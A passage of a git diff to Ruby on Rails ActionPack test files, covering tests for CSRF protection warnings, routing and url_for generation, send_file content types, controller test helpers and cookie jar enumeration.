a/actionpack/test/controller/request_forgery_protection_test.rb b/actionpack/test/controller/request_forgery_protection_test.rb index dea80ed887..fd5a41a0bb 100644 --- a/actionpack/test/controller/request_forgery_protection_test.rb +++ b/actionpack/test/controller/request_forgery_protection_test.rb @@ -1,6 +1,7 @@ require 'abstract_unit' require 'digest/sha1' require 'active_support/core_ext/string/strip' +require "active_support/log_subscriber/test_helper" # common controller actions module RequestForgeryProtectionActions @@ -80,7 +81,7 @@ module RequestForgeryProtectionTests def setup @token = "cf50faa3fe97702ca1ae" - ActiveSupport::SecureRandom.stubs(:base64).returns(@token) + SecureRandom.stubs(:base64).returns(@token) ActionController::Base.request_forgery_protection_token = :custom_authenticity_token end @@ -157,6 +158,21 @@ module RequestForgeryProtectionTests assert_not_blocked { put :index } end + def test_should_warn_on_missing_csrf_token + old_logger = ActionController::Base.logger + logger = ActiveSupport::LogSubscriber::TestHelper::MockLogger.new + ActionController::Base.logger = logger + + begin + assert_blocked { post :index } + + assert_equal 1, logger.logged(:warn).size + assert_match(/CSRF token authenticity/, logger.logged(:warn).last) + ensure + ActionController::Base.logger = old_logger + end + end + def assert_blocked session[:something_like_user_id] = 1 yield @@ -184,7 +200,7 @@ class RequestForgeryProtectionControllerTest < ActionController::TestCase end test 'should emit a csrf-param meta tag and a csrf-token meta tag' do - ActiveSupport::SecureRandom.stubs(:base64).returns(@token + '<=?') + SecureRandom.stubs(:base64).returns(@token + '<=?') get :meta assert_select 'meta[name=?][content=?]', 'csrf-param', 'custom_authenticity_token' assert_select 'meta[name=?][content=?]', 'csrf-token', 'cf50faa3fe97702ca1ae<=?' @@ -207,7 +223,7 @@ class FreeCookieControllerTest < ActionController::TestCase @response = ActionController::TestResponse.new @token = "cf50faa3fe97702ca1ae" - ActiveSupport::SecureRandom.stubs(:base64).returns(@token) + SecureRandom.stubs(:base64).returns(@token) end def test_should_not_render_form_with_token_tag diff --git a/actionpack/test/controller/resources_test.rb b/actionpack/test/controller/resources_test.rb index 6ea492cf8b..6b8a8f6161 100644 --- a/actionpack/test/controller/resources_test.rb +++ b/actionpack/test/controller/resources_test.rb @@ -91,6 +91,15 @@ class ResourcesTest < ActionController::TestCase end end + def test_multiple_resources_with_options + expected_options = {:controller => 'threads', :action => 'index'} + + with_restful_routing :messages, :comments, expected_options.slice(:controller) do + assert_recognizes(expected_options, :path => 'comments') + assert_recognizes(expected_options, :path => 'messages') + end + end + def test_with_custom_conditions with_restful_routing :messages, :conditions => { :subdomain => 'app' } do assert @routes.recognize_path("/messages", :method => :get, :subdomain => 'app') @@ -523,7 +532,7 @@ class ResourcesTest < ActionController::TestCase routes.each do |route| routes.each do |r| next if route === r # skip the comparison instance - assert distinct_routes?(route, r), "Duplicate Route: #{route}" + assert_not_equal [route.conditions, route.path.spec.to_s], [r.conditions, r.path.spec.to_s] end end end @@ -1342,13 +1351,4 @@ class ResourcesTest < ActionController::TestCase assert_recognizes(expected_options, path) end end - - def distinct_routes? (r1, r2) - if r1.conditions == r2.conditions and r1.constraints == r2.constraints then - if r1.segments.collect(&:to_s) == r2.segments.collect(&:to_s) then - return false - end - end - true - end end diff --git a/actionpack/test/controller/routing_test.rb b/actionpack/test/controller/routing_test.rb index aa9d193436..5bf68decca 100644 --- a/actionpack/test/controller/routing_test.rb +++ b/actionpack/test/controller/routing_test.rb @@ -1,7 +1,6 @@ # encoding: utf-8 require 'abstract_unit' require 'controller/fake_controllers' -require 'active_support/dependencies' require 'active_support/core_ext/object/with_options' class MilestonesController < ActionController::Base @@ -1665,114 +1664,6 @@ class RackMountIntegrationTests < ActiveSupport::TestCase assert_raise(ActionController::RoutingError) { @routes.recognize_path('/none', :method => :get) } end - def test_generate - assert_equal '/admin/users', url_for(@routes, { :use_route => 'admin_users' }) - assert_equal '/admin/users', url_for(@routes, { :controller => 'admin/users' }) - assert_equal '/admin/users', url_for(@routes, { :controller => 'admin/users', :action => 'index' }) - assert_equal '/admin/users', url_for(@routes, { :action => 'index' }, { :controller => 'admin/users' }) - assert_equal '/admin/users', url_for(@routes, { :controller => 'users', :action => 'index' }, { :controller => 'admin/accounts' }) - assert_equal '/people', url_for(@routes, { :controller => '/people', :action => 'index' }, { :controller => 'admin/accounts' }) - - assert_equal '/admin/posts', url_for(@routes, { :controller => 'admin/posts' }) - assert_equal '/admin/posts/new', url_for(@routes, { :controller => 'admin/posts', :action => 'new' }) - - assert_equal '/blog/2009', url_for(@routes, { :controller => 'posts', :action => 'show_date', :year => 2009 }) - assert_equal '/blog/2009/1', url_for(@routes, { :controller => 'posts', :action => 'show_date', :year => 2009, :month => 1 }) - assert_equal '/blog/2009/1/1', url_for(@routes, { :controller => 'posts', :action => 'show_date', :year => 2009, :month => 1, :day => 1 }) - - assert_equal '/archive/2010', url_for(@routes, { :controller => 'archive', :action => 'index', :year => '2010' }) - assert_equal '/archive', url_for(@routes, { :controller => 'archive', :action => 'index' }) - assert_equal '/archive?year=january', url_for(@routes, { :controller => 'archive', :action => 'index', :year => 'january' }) - - assert_equal '/people', url_for(@routes, { :controller => 'people', :action => 'index' }) - assert_equal '/people', url_for(@routes, { :action => 'index' }, { :controller => 'people' }) - assert_equal '/people', url_for(@routes, { :action => 'index' }, { :controller => 'people', :action => 'show', :id => '1' }) - assert_equal '/people', url_for(@routes, { :controller => 'people', :action => 'index' }, { :controller => 'people', :action => 'show', :id => '1' }) - assert_equal '/people', url_for(@routes, {}, { :controller => 'people', :action => 'index' }) - assert_equal '/people/1', url_for(@routes, { :controller => 'people', :action => 'show' }, { :controller => 'people', :action => 'show', :id => '1' }) - assert_equal '/people/new', url_for(@routes, { :use_route => 'new_person' }) - assert_equal '/people/new', url_for(@routes, { :controller => 'people', :action => 'new' }) - assert_equal '/people/1', url_for(@routes, { :use_route => 'person', :id => '1' }) - assert_equal '/people/1', url_for(@routes, { :controller => 'people', :action => 'show', :id => '1' }) - assert_equal '/people/1.xml', url_for(@routes, { :controller => 'people', :action => 'show', :id => '1', :format => 'xml' }) - assert_equal '/people/1', url_for(@routes, { :controller => 'people', :action => 'show', :id => 1 }) - assert_equal '/people/1', url_for(@routes, { :controller => 'people', :action => 'show', :id => Model.new('1') }) - assert_equal '/people/1', url_for(@routes, { :action => 'show', :id => '1' }, { :controller => 'people', :action => 'index' }) - assert_equal '/people/1', url_for(@routes, { :action => 'show', :id => 1 }, { :controller => 'people', :action => 'show', :id => '1' }) - assert_equal '/people', url_for(@routes, { :controller => 'people', :action => 'index' }, { :controller => 'people', :action => 'show', :id => '1' }) - assert_equal '/people/1', url_for(@routes, {}, { :controller => 'people', :action => 'show', :id => '1' }) - assert_equal '/people/1', url_for(@routes, { :controller => 'people', :action => 'show' }, { :controller => 'people', :action => 'index', :id => '1' }) - assert_equal '/people/1/edit', url_for(@routes, { :controller => 'people', :action => 'edit', :id => '1' }) - assert_equal '/people/1/edit.xml', url_for(@routes, { :controller => 'people', :action => 'edit', :id => '1', :format => 'xml' }) - assert_equal '/people/1/edit', url_for(@routes, { :use_route => 'edit_person', :id => '1' }) - assert_equal '/people/1?legacy=true', url_for(@routes, { :controller => 'people', :action => 'show', :id => '1', :legacy => 'true' }) - assert_equal '/people?legacy=true', url_for(@routes, { :controller => 'people', :action => 'index', :legacy => 'true' }) - - assert_equal '/id_default/2', url_for(@routes, { :controller => 'foo', :action => 'id_default', :id => '2' }) - assert_equal '/id_default', url_for(@routes, { :controller => 'foo', :action => 'id_default', :id => '1' }) - assert_equal '/id_default', url_for(@routes, { :controller => 'foo', :action => 'id_default', :id => 1 }) - assert_equal '/id_default', url_for(@routes, { :controller => 'foo', :action => 'id_default' }) - assert_equal '/optional/bar', url_for(@routes, { :controller => 'posts', :action => 'index', :optional => 'bar' }) - assert_equal '/posts', url_for(@routes, { :controller => 'posts', :action => 'index' }) - - assert_equal '/project', url_for(@routes, { :controller => 'project', :action => 'index' }) - assert_equal '/projects/1', url_for(@routes, { :controller => 'project', :action => 'index', :project_id => '1' }) - assert_equal '/projects/1', url_for(@routes, { :controller => 'project', :action => 'index'}, {:project_id => '1' }) - assert_raise(ActionController::RoutingError) { url_for(@routes, { :use_route => 'project', :controller => 'project', :action => 'index' }) } - assert_equal '/projects/1', url_for(@routes, { :use_route => 'project', :controller => 'project', :action => 'index', :project_id => '1' }) - assert_equal '/projects/1', url_for(@routes, { :use_route => 'project', :controller => 'project', :action => 'index' }, { :project_id => '1' }) - - assert_equal '/clients', url_for(@routes, { :controller => 'projects', :action => 'index' }) - assert_equal '/clients?project_id=1', url_for(@routes, { :controller => 'projects', :action => 'index', :project_id => '1' }) - assert_equal '/clients', url_for(@routes, { :controller => 'projects', :action => 'index' }, { :project_id => '1' }) - assert_equal '/clients', url_for(@routes, { :action => 'index' }, { :controller => 'projects', :action => 'index', :project_id => '1' }) - - assert_equal '/comment/20', url_for(@routes, { :id => 20 }, { :controller => 'comments', :action => 'show' }) - assert_equal '/comment/20', url_for(@routes, { :controller => 'comments', :id => 20, :action => 'show' }) - assert_equal '/comments/boo', url_for(@routes, { :controller => 'comments', :action => 'boo' }) - - assert_equal '/ws/posts/show/1', url_for(@routes, { :controller => 'posts', :action => 'show', :id => '1', :ws => true }) - assert_equal '/ws/posts', url_for(@routes, { :controller => 'posts', :action => 'index', :ws => true }) - - assert_equal '/account', url_for(@routes, { :controller => 'account', :action => 'subscription' }) - assert_equal '/account/billing', url_for(@routes, { :controller => 'account', :action => 'billing' }) - - assert_equal '/pages/1/notes/show/1', url_for(@routes, { :page_id => '1', :controller => 'notes', :action => 'show', :id => '1' }) - assert_equal '/pages/1/notes/list', url_for(@routes, { :page_id => '1', :controller => 'notes', :action => 'list' }) - assert_equal '/pages/1/notes', url_for(@routes, { :page_id => '1', :controller => 'notes', :action => 'index' }) - assert_equal '/pages/1/notes', url_for(@routes, { :page_id => '1', :controller => 'notes' }) - assert_equal '/notes', url_for(@routes, { :page_id => nil, :controller => 'notes' }) - assert_equal '/notes', url_for(@routes, { :controller => 'notes' }) - assert_equal '/notes/print', url_for(@routes, { :controller => 'notes', :action => 'print' }) - assert_equal '/notes/print', url_for(@routes, {}, { :controller => 'notes', :action => 'print' }) - - assert_equal '/notes/index/1', url_for(@routes, { :controller => 'notes' }, { :controller => 'notes', :id => '1' }) - assert_equal '/notes/index/1', url_for(@routes, { :controller => 'notes' }, { :controller => 'notes', :id => '1', :foo => 'bar' }) - assert_equal '/notes/index/1', url_for(@routes, { :controller => 'notes' }, { :controller => 'notes', :id => '1' }) - assert_equal '/notes/index/1', url_for(@routes, { :action => 'index' }, { :controller => 'notes', :id => '1' }) - assert_equal '/notes/index/1', url_for(@routes, {}, { :controller => 'notes', :id => '1' }) - assert_equal '/notes/show/1', url_for(@routes, {}, { :controller => 'notes', :action => 'show', :id => '1' }) - assert_equal '/notes/index/1', url_for(@routes, { :controller => 'notes', :id => '1' }, { :foo => 'bar' }) - assert_equal '/posts', url_for(@routes, { :controller => 'posts' }, { :controller => 'notes', :action => 'show', :id => '1' }) - assert_equal '/notes/list', url_for(@routes, { :action => 'list' }, { :controller => 'notes', :action => 'show', :id => '1' }) - - assert_equal '/posts/ping', url_for(@routes, { :controller => 'posts', :action => 'ping' }) - assert_equal '/posts/show/1', url_for(@routes, { :controller => 'posts', :action => 'show', :id => '1' }) - assert_equal '/posts', url_for(@routes, { :controller => 'posts' }) - assert_equal '/posts', url_for(@routes, { :controller => 'posts', :action => 'index' }) - assert_equal '/posts', url_for(@routes, { :controller => 'posts' }, { :controller => 'posts', :action => 'index' }) - assert_equal '/posts/create', url_for(@routes, { :action => 'create' }, { :controller => 'posts' }) - assert_equal '/posts?foo=bar', url_for(@routes, { :controller => 'posts', :foo => 'bar' }) - assert_equal '/posts?foo%5B%5D=bar&foo%5B%5D=baz', url_for(@routes, { :controller => 'posts', :foo => ['bar', 'baz'] }) - assert_equal '/posts?page=2', url_for(@routes, { :controller => 'posts', :page => 2 }) - assert_equal '/posts?q%5Bfoo%5D%5Ba%5D=b', url_for(@routes, { :controller => 'posts', :q => { :foo => { :a => 'b'}} }) - - assert_equal '/news.rss', url_for(@routes, { :controller => 'news', :action => 'index', :format => 'rss' }) - - - assert_raise(ActionController::RoutingError) { url_for(@routes, { :action => 'index' }) } - end - def test_generate_extras assert_equal ['/people', []], @routes.generate_extras(:controller => 'people') assert_equal ['/people', [:foo]], @routes.generate_extras(:controller => 'people', :foo => 'bar') diff --git a/actionpack/test/controller/send_file_test.rb b/actionpack/test/controller/send_file_test.rb index c7c8360ae6..8f885ff28e 100644 --- a/actionpack/test/controller/send_file_test.rb +++ b/actionpack/test/controller/send_file_test.rb @@ -138,6 +138,25 @@ class SendFileTest < ActionController::TestCase @controller.headers = {} assert_raise(ArgumentError){ @controller.send(:send_file_headers!, options) } end + + def test_send_file_headers_guess_type_from_extension + { + 'image.png' => 'image/png', + 'image.jpeg' => 'image/jpeg', + 'image.jpg' => 'image/jpeg', + 'image.tif' => 'image/tiff', + 'image.gif' => 'image/gif', + 'movie.mpg' => 'video/mpeg', + 'file.zip' => 'application/zip', + 'file.unk' => 'application/octet-stream', + 'zip' => 'application/octet-stream' + }.each do |filename,expected_type| + options = { :filename => filename } + @controller.headers = {} + @controller.send(:send_file_headers!, options) + assert_equal expected_type, @controller.content_type + end + end %w(file data).each do |method| define_method "test_send_#{method}_status" do diff --git a/actionpack/test/controller/test_test.rb b/actionpack/test/controller/test_test.rb index 5896222a0a..b64e275363 100644 --- a/actionpack/test/controller/test_test.rb +++ b/actionpack/test/controller/test_test.rb @@ -50,6 +50,10 @@ class TestTest < ActionController::TestCase render :text => request.query_string end + def test_protocol + render :text => request.protocol + end + def test_html_output render :text => <<HTML <html> @@ -142,6 +146,17 @@ XML end end + class ViewAssignsController < ActionController::Base + def test_assigns + @foo = "foo" + render :nothing => true + end + + def view_assigns + { "bar" => "bar" } + end + end + def test_raw_post_handling params = ActiveSupport::OrderedHash[:page, {:name => 'page name'}, 'some key', 123] post :render_raw_post, params.dup @@ -252,6 +267,15 @@ XML assert_equal "foo", assigns["foo"] end + def test_view_assigns + @controller = ViewAssignsController.new + process :test_assigns + assert_equal nil, assigns(:foo) + assert_equal nil, assigns[:foo] + assert_equal "bar", assigns(:bar) + assert_equal "bar", assigns[:bar] + end + def test_assert_tag_tag process :test_html_output @@ -493,6 +517,16 @@ XML ) end + def test_params_passing_with_fixnums + get :test_params, :page => {:name => "Page name", :month => 4, :year => 2004, :day => 6} + parsed_params = eval(@response.body) + assert_equal( + {'controller' => 'test_test/test', 'action' => 'test_params', + 'page' => {'name' => "Page name", 'month' => '4', 'year' => '2004', 'day' => '6'}}, + parsed_params + ) + end + def test_params_passing_with_frozen_values assert_nothing_raised do get :test_params, :frozen => 'icy'.freeze, :frozens => ['icy'.freeze].freeze @@ -505,6 +539,12 @@ XML ) end + def test_params_passing_doesnt_modify_in_place + page = {:name => "Page name", :month => 4, :year => 2004, :day => 6} + get :test_params, :page => page + assert_equal 2004, page[:year] + end + def test_id_converted_to_string get :test_params, :id => 20, :foo => Object.new assert_kind_of String, @request.path_parameters['id'] @@ -582,14 +622,27 @@ XML assert_nil @request.symbolized_path_parameters[:id] end + def test_request_protocol_is_reset_after_request + get :test_protocol + assert_equal "http://", @response.body + + @request.env["HTTPS"] = "on" + get :test_protocol + assert_equal "https://", @response.body + + @request.env.delete("HTTPS") + get :test_protocol + assert_equal "http://", @response.body + end + def test_should_have_knowledge_of_client_side_cookie_state_even_if_they_are_not_set - @request.cookies['foo'] = 'bar' + cookies['foo'] = 'bar' get :no_op assert_equal 'bar', cookies['foo'] end def test_should_detect_if_cookie_is_deleted - @request.cookies['foo'] = 'bar' + cookies['foo'] = 'bar' get :delete_cookie assert_nil cookies['foo'] end @@ -602,7 +655,6 @@ XML send(method, :test_remote_addr) assert false, "expected RuntimeError, got nothing" rescue RuntimeError => error - assert true assert_match(%r{@#{variable} is nil}, error.message) rescue => error assert false, "expected RuntimeError, got #{error.class}" @@ -640,6 +692,13 @@ XML end + def test_fixture_path_is_accessed_from_self_instead_of_active_support_test_case + TestTest.stubs(:fixture_path).returns(FILES_DIR) + + uploaded_file = fixture_file_upload('/mona_lisa.jpg', 'image/png') + assert_equal File.open("#{FILES_DIR}/mona_lisa.jpg", READ_PLAIN).read, uploaded_file.read + end + def test_test_uploaded_file_with_binary filename = 'mona_lisa.jpg' path = "#{FILES_DIR}/#{filename}" @@ -715,6 +774,22 @@ class CrazyNameTest < ActionController::TestCase end end +class CrazySymbolNameTest < ActionController::TestCase + tests :content + + def test_set_controller_class_using_symbol + assert_equal ContentController, self.class.controller_class + end +end + +class CrazyStringNameTest < ActionController::TestCase + tests 'content' + + def test_set_controller_class_using_string + assert_equal ContentController, self.class.controller_class + end +end + class NamedRoutesControllerTest < ActionController::TestCase tests ContentController diff --git a/actionpack/test/controller/url_for_integration_test.rb b/actionpack/test/controller/url_for_integration_test.rb new file mode 100644 index 0000000000..7b734ff0fb --- /dev/null +++ b/actionpack/test/controller/url_for_integration_test.rb @@ -0,0 +1,183 @@ +# encoding: utf-8 +require 'abstract_unit' +require 'controller/fake_controllers' +require 'active_support/core_ext/object/with_options' + +module RoutingTestHelpers + def url_for(set, options, recall = nil) + set.send(:url_for, options.merge(:only_path => true, :_path_segments => recall)) + end +end + +module ActionPack + class URLForIntegrationTest < ActiveSupport::TestCase + include RoutingTestHelpers + + Model = Struct.new(:to_param) + + Mapping = lambda { + namespace :admin do + resources :users, :posts + end + + namespace 'api' do + root :to => 'users#index' + end + + match '/blog(/:year(/:month(/:day)))' => 'posts#show_date', + :constraints => { + :year => /(19|20)\d\d/, + :month => /[01]?\d/, + :day => /[0-3]?\d/ + }, + :day => nil, + :month => nil + + match 'archive/:year', :controller => 'archive', :action => 'index', + :defaults => { :year => nil }, + :constraints => { :year => /\d{4}/ }, + :as => "blog" + + resources :people + #match 'legacy/people' => "people#index", :legacy => "true" + + match 'symbols', :controller => :symbols, :action => :show, :name => :as_symbol + match 'id_default(/:id)' => "foo#id_default", :id => 1 + match 'get_or_post' => "foo#get_or_post", :via => [:get, :post] + match 'optional/:optional' => "posts#index" + match 'projects/:project_id' => "project#index", :as => "project" + match 'clients' => "projects#index" + + match 'ignorecase/geocode/:postalcode' => 'geocode#show', :postalcode => /hx\d\d-\d[a-z]{2}/i + match 'extended/geocode/:postalcode' => 'geocode#show',:constraints => { + :postalcode => /# Postcode format + \d{5} #Prefix + (-\d{4})? #Suffix + /x + }, :as => "geocode" + + match 'news(.:format)' => "news#index" + + match 'comment/:id(/:action)' => "comments#show" + match 'ws/:controller(/:action(/:id))', :ws => true + match 'account(/:action)' => "account#subscription" + match 'pages/:page_id/:controller(/:action(/:id))' + match ':controller/ping', :action => 'ping' + match ':controller(/:action(/:id))(.:format)' + root :to => "news#index" + } + + def setup + @routes = ActionDispatch::Routing::RouteSet.new + @routes.draw(&Mapping) + end + + [ + ['/admin/users',[ { :use_route => 'admin_users' }]], + ['/admin/users',[ { :controller => 'admin/users' }]], + ['/admin/users',[ { :controller => 'admin/users', :action => 'index' }]], + ['/admin/users',[ { :action => 'index' }, { :controller => 'admin/users' }]], + ['/admin/users',[ { :controller => 'users', :action => 'index' }, { :controller => 'admin/accounts' }]], + ['/people',[ { :controller => '/people', :action => 'index' }, { :controller => 'admin/accounts' }]], + + ['/admin/posts',[ { :controller => 'admin/posts' }]], + ['/admin/posts/new',[ { :controller => 'admin/posts', :action => 'new' }]], + + ['/blog/2009',[ { :controller => 'posts', :action => 'show_date', :year => 2009 }]], + ['/blog/2009/1',[ { :controller => 'posts', :action => 'show_date', :year => 2009, :month => 1 }]], + ['/blog/2009/1/1',[ { :controller => 'posts', :action => 'show_date', :year => 2009, :month => 1, :day => 1 }]], + + ['/archive/2010',[ { :controller => 'archive', :action => 'index', :year => '2010' }]], + ['/archive',[ { :controller => 'archive', :action => 'index' }]], + ['/archive?year=january',[ { :controller => 'archive', :action => 'index', :year => 'january' }]], + + ['/people',[ { :controller => 'people', :action => 'index' }]], + ['/people',[ { :action => 'index' }, { :controller => 'people' }]], + ['/people',[ { :action => 'index' }, { :controller => 'people', :action => 'show', :id => '1' }]], + ['/people',[ { :controller => 'people', :action => 'index' }, { :controller => 'people', :action => 'show', :id => '1' }]], + ['/people',[ {}, { :controller => 'people', :action => 'index' }]], + ['/people/1',[ { :controller => 'people', :action => 'show' }, { :controller => 'people', :action => 'show', :id => '1' }]], + ['/people/new',[ { :use_route => 'new_person' }]], + ['/people/new',[ { :controller => 'people', :action => 'new' }]], + ['/people/1',[ { :use_route => 'person', :id => '1' }]], + ['/people/1',[ { :controller => 'people', :action => 'show', :id => '1' }]], + ['/people/1.xml',[ { :controller => 'people', :action => 'show', :id => '1', :format => 'xml' }]], + ['/people/1',[ { :controller => 'people', :action => 'show', :id => 1 }]], + ['/people/1',[ { :controller => 'people', :action => 'show', :id => Model.new('1') }]], + ['/people/1',[ { :action => 'show', :id => '1' }, { :controller => 'people', :action => 'index' }]], + ['/people/1',[ { :action => 'show', :id => 1 }, { :controller => 'people', :action => 'show', :id => '1' }]], + ['/people',[ { :controller => 'people', :action => 'index' }, { :controller => 'people', :action => 'show', :id => '1' }]], + ['/people/1',[ {}, { :controller => 'people', :action => 'show', :id => '1' }]], + ['/people/1',[ { :controller => 'people', :action => 'show' }, { :controller => 'people', :action => 'index', :id => '1' }]], + ['/people/1/edit',[ { :controller => 'people', :action => 'edit', :id => '1' }]], + ['/people/1/edit.xml',[ { :controller => 'people', :action => 'edit', :id => '1', :format => 'xml' }]], + ['/people/1/edit',[ { :use_route => 'edit_person', :id => '1' }]], + ['/people/1?legacy=true',[ { :controller => 'people', :action => 'show', :id => '1', :legacy => 'true' }]], + ['/people?legacy=true',[ { :controller => 'people', :action => 'index', :legacy => 'true' }]], + + ['/id_default/2',[ { :controller => 'foo', :action => 'id_default', :id => '2' }]], + ['/id_default',[ { :controller => 'foo', :action => 'id_default', :id => '1' }]], + ['/id_default',[ { :controller => 'foo', :action => 'id_default', :id => 1 }]], + ['/id_default',[ { :controller => 'foo', :action => 'id_default' }]], + ['/optional/bar',[ { :controller => 'posts', :action => 'index', :optional => 'bar' }]], + ['/posts',[ { :controller => 'posts', :action => 'index' }]], + + ['/project',[ { :controller => 'project', :action => 'index' }]], + ['/projects/1',[ { :controller => 'project', :action => 'index', :project_id => '1' }]], + ['/projects/1',[ { :controller => 'project', :action => 'index'}, {:project_id => '1' }]], + ['/projects/1',[ { :use_route => 'project', :controller => 'project', :action => 'index', :project_id => '1' }]], + ['/projects/1',[ { :use_route => 'project', :controller => 'project', :action => 'index' }, { :project_id => '1' }]], + + ['/clients',[ { :controller => 'projects', :action => 'index' }]], + ['/clients?project_id=1',[ { :controller => 'projects', :action => 'index', :project_id => '1' }]], + ['/clients',[ { :controller => 'projects', :action => 'index' }, { :project_id => '1' }]], + ['/clients',[ { :action => 'index' }, { :controller => 'projects', :action => 'index', :project_id => '1' }]], + + ['/comment/20',[ { :id => 20 }, { :controller => 'comments', :action => 'show' }]], + ['/comment/20',[ { :controller => 'comments', :id => 20, :action => 'show' }]], + ['/comments/boo',[ { :controller => 'comments', :action => 'boo' }]], + + ['/ws/posts/show/1',[ { :controller => 'posts', :action => 'show', :id => '1', :ws => true }]], + ['/ws/posts',[ { :controller => 'posts', :action => 'index', :ws => true }]], + + ['/account',[ { :controller => 'account', :action => 'subscription' }]], + ['/account/billing',[ { :controller => 'account', :action => 'billing' }]], + + ['/pages/1/notes/show/1',[ { :page_id => '1', :controller => 'notes', :action => 'show', :id => '1' }]], + ['/pages/1/notes/list',[ { :page_id => '1', :controller => 'notes', :action => 'list' }]], + ['/pages/1/notes',[ { :page_id => '1', :controller => 'notes', :action => 'index' }]], + ['/pages/1/notes',[ { :page_id => '1', :controller => 'notes' }]], + ['/notes',[ { :page_id => nil, :controller => 'notes' }]], + ['/notes',[ { :controller => 'notes' }]], + ['/notes/print',[ { :controller => 'notes', :action => 'print' }]], + ['/notes/print',[ {}, { :controller => 'notes', :action => 'print' }]], + + ['/notes/index/1',[ { :controller => 'notes' }, { :controller => 'notes', :id => '1' }]], + ['/notes/index/1',[ { :controller => 'notes' }, { :controller => 'notes', :id => '1', :foo => 'bar' }]], + ['/notes/index/1',[ { :controller => 'notes' }, { :controller => 'notes', :id => '1' }]], + ['/notes/index/1',[ { :action => 'index' }, { :controller => 'notes', :id => '1' }]], + ['/notes/index/1',[ {}, { :controller => 'notes', :id => '1' }]], + ['/notes/show/1',[ {}, { :controller => 'notes', :action => 'show', :id => '1' }]], + ['/notes/index/1',[ { :controller => 'notes', :id => '1' }, { :foo => 'bar' }]], + ['/posts',[ { :controller => 'posts' }, { :controller => 'notes', :action => 'show', :id => '1' }]], + ['/notes/list',[ { :action => 'list' }, { :controller => 'notes', :action => 'show', :id => '1' }]], + + ['/posts/ping',[ { :controller => 'posts', :action => 'ping' }]], + ['/posts/show/1',[ { :controller => 'posts', :action => 'show', :id => '1' }]], + ['/posts',[ { :controller => 'posts' }]], + ['/posts',[ { :controller => 'posts', :action => 'index' }]], + ['/posts',[ { :controller => 'posts' }, { :controller => 'posts', :action => 'index' }]], + ['/posts/create',[ { :action => 'create' }, { :controller => 'posts' }]], + ['/posts?foo=bar',[ { :controller => 'posts', :foo => 'bar' }]], + ['/posts?foo%5B%5D=bar&foo%5B%5D=baz', [{ :controller => 'posts', :foo => ['bar', 'baz'] }]], + ['/posts?page=2', [{ :controller => 'posts', :page => 2 }]], + ['/posts?q%5Bfoo%5D%5Ba%5D=b', [{ :controller => 'posts', :q => { :foo => { :a => 'b'}} }]], + + ['/news.rss', [{ :controller => 'news', :action => 'index', :format => 'rss' }]], + ].each_with_index do |(url, params), i| + define_method("test_#{url.gsub(/\W/, '_')}_#{i}") do + assert_equal url, url_for(@routes, *params), params.inspect + end + end + end +end diff --git a/actionpack/test/controller/url_for_test.rb b/actionpack/test/controller/url_for_test.rb index 3f3d6dcc2f..11ced2df2a 100644 --- a/actionpack/test/controller/url_for_test.rb +++ b/actionpack/test/controller/url_for_test.rb @@ -67,6 +67,20 @@ module AbstractController ) end + def test_subdomain_may_be_removed + add_host! + assert_equal('http://basecamphq.com/c/a/i', + W.new.url_for(:subdomain => false, :controller => 'c', :action => 'a', :id => 'i') + ) + end + + def test_multiple_subdomains_may_be_removed + W.default_url_options[:host] = 'mobile.www.api.basecamphq.com' + assert_equal('http://basecamphq.com/c/a/i', + W.new.url_for(:subdomain => false, :controller => 'c', :action => 'a', :id => 'i') + ) + end + def test_domain_may_be_changed add_host! assert_equal('http://www.37signals.com/c/a/i', @@ -293,8 +307,8 @@ module AbstractController first_class.default_url_options[:host] = first_host second_class.default_url_options[:host] = second_host - assert_equal first_class.default_url_options[:host], first_host - assert_equal second_class.default_url_options[:host], second_host + assert_equal first_host, first_class.default_url_options[:host] + assert_equal second_host, second_class.default_url_options[:host] end def test_with_stringified_keys diff --git a/actionpack/test/controller/url_rewriter_test.rb b/actionpack/test/controller/url_rewriter_test.rb index 89de4c1da4..f88903b10e 100644 --- a/actionpack/test/controller/url_rewriter_test.rb +++ b/actionpack/test/controller/url_rewriter_test.rb @@ -70,9 +70,9 @@ class UrlRewriterTests < ActionController::TestCase ) end - def test_anchor_should_be_cgi_escaped + def test_anchor_should_be_uri_escaped assert_equal( - 'http://test.host/c/a/i#anc%2Fhor', + 'http://test.host/c/a/i#anc/hor', @rewriter.rewrite(@routes, :controller => 'c', :action => 'a', :id => 'i', :anchor => Struct.new(:to_param).new('anc/hor')) ) end diff --git a/actionpack/test/controller/view_paths_test.rb b/actionpack/test/controller/view_paths_test.rb index 3de1849db8..f5ac886c20 100644 --- a/actionpack/test/controller/view_paths_test.rb +++ b/actionpack/test/controller/view_paths_test.rb @@ -32,17 +32,11 @@ class ViewLoadPathsTest < ActionController::TestCase @controller.send :assign_shortcuts, @request, @response @controller.send :initialize_template_class, @response - # Track the last warning. - @old_behavior = ActiveSupport::Deprecation.behavior - @last_message = nil - ActiveSupport::Deprecation.behavior = Proc.new { |message, callback| @last_message = message } - @paths = TestController.view_paths end def teardown TestController.view_paths = @paths - ActiveSupport::Deprecation.behavior = @old_behavior end def expand(array) @@ -179,7 +173,7 @@ class ViewLoadPathsTest < ActionController::TestCase assert_nothing_raised { C.append_view_path 'c/path' } assert_paths C, "c/path" end - + def test_lookup_context_accessor assert_equal ["test"], TestController.new.lookup_context.prefixes end diff --git a/actionpack/test/controller/webservice_test.rb b/actionpack/test/controller/webservice_test.rb index 621fb79915..ae8588cbb0 100644 --- a/actionpack/test/controller/webservice_test.rb +++ b/actionpack/test/controller/webservice_test.rb @@ -30,7 +30,7 @@ class WebServiceTest < ActionDispatch::IntegrationTest def test_check_parameters with_test_route_set do get "/" - assert_blank @controller.response.body + assert_equal '', @controller.response.body end end @@ -162,7 +162,7 @@ class WebServiceTest < ActionDispatch::IntegrationTest def test_use_xml_ximple_with_empty_request with_test_route_set do assert_nothing_raised { post "/", "", {'CONTENT_TYPE' => 'application/xml'} } - assert_blank @controller.response.body + assert_equal '', @controller.response.body end end diff --git a/actionpack/test/dispatch/cookies_test.rb b/actionpack/test/dispatch/cookies_test.rb index e42c39f527..49da448001 100644 --- a/actionpack/test/dispatch/cookies_test.rb +++ b/actionpack/test/dispatch/cookies_test.rb @@ -148,6 +148,31 @@ class CookiesTest < ActionController::TestCase @request.host = "www.nextangle.com" end + def test_each + request.cookie_jar['foo'] = :bar + list = [] + request.cookie_jar.each do |k,v| + list << [k, v] + end + + assert_equal [['foo', :bar]], list + end + + def test_enumerable + request.cookie_jar['foo'] = :bar + actual = request.cookie_jar.map { |k,v| [k.to_s, v.to_s] } + assert_equal [['foo', 'bar']], actual + end + + def test_key_methods + assert 